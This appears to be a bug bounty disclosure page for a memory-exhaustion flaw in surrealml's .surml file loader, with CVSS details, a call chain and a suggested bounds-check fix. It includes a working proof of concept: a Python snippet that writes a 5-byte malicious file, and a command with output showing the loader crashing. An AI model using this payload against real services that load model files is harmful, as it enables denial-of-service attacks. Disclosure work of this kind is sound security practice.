Views
No views yet
| Field | Value |
|---|---|
| Repository | surrealdb/surrealml |
| Commit | 152ac2d508f1bae9ee62c46b7d211d80e40a6425 (latest) |
| Affected file | modules/core/src/storage/surml_file.rs |
| Vulnerable line | Line 108 — vec![0u8; integer_value as usize] |
| CWE | CWE-789 (Uncontrolled Memory Allocation) |
| CVSS 3.1 | 7.5 High — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| Expected payout | $1,500 |
| Platform | huntr.com — Model File Formats board |
SurMlFile::from_file() reads the first 4 bytes of a .surml file as a u32 (big-endian) and allocates a Vec<u8> of exactly that size — with no upper-bound check. Setting those 4 bytes to 0xFF FF FF FF triggers a ~4 GB allocation attempt.1// surml_file.rs line 108 — VULNERABLE
2let mut header_buffer = vec![0u8; integer_value as usize];
3// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
4// integer_value = attacker-controlled u32 (up to 4 GB)
5// NO bounds check before this linefrom_bytes() has the correct bounds check; from_file() does not.malicious.surml (5 bytes: FF FF FF FF 58)
└─► SurMlFile.load() surml_file.py:169
└─► RustAdapter.load() rust_adapter.py:226
└─► load_model() load_model.rs:98 [C FFI]
└─► from_file() surml_file.rs:99
└─► vec![0u8; 4_294_967_295] ← OOM panic / SIGABRT1# Step 1 — Create malicious file (5 bytes)
2python3 -c "
3import struct
4with open('malicious.surml', 'wb') as f:
5 f.write(struct.pack('>I', 0xFFFFFFFF))
6 f.write(b'X')
7"
8
9# Step 2 — Trigger via standalone Rust reproducer
10ulimit -v 524288 && ./surml_poc malicious.surml[*] Header length field value: 4294967295 bytes (~4.0 GB)
[*] Attempting allocation: vec![0u8; 4294967295]
memory allocation of 4294967295 bytes failed
Aborted (core dumped)| File | Purpose |
|---|---|
poc_surrealml.py | Python PoC — creates malicious file, explains attack path |
report.md | Full huntr-formatted report |
poc-evidence.html | Self-contained HTML evidence page with terminal output |
README.md | This file |
1// Add in from_file() after reading integer_value (surml_file.rs ~line 106):
2const MAX_HEADER_BYTES: usize = 64 * 1024 * 1024; // 64 MB
3if integer_value as usize > MAX_HEADER_BYTES {
4 return Err(SurrealError::new(
5 format!("Header length {} exceeds maximum allowed size", integer_value),
6 SurrealErrorStatus::BadRequest,
7 ));
8}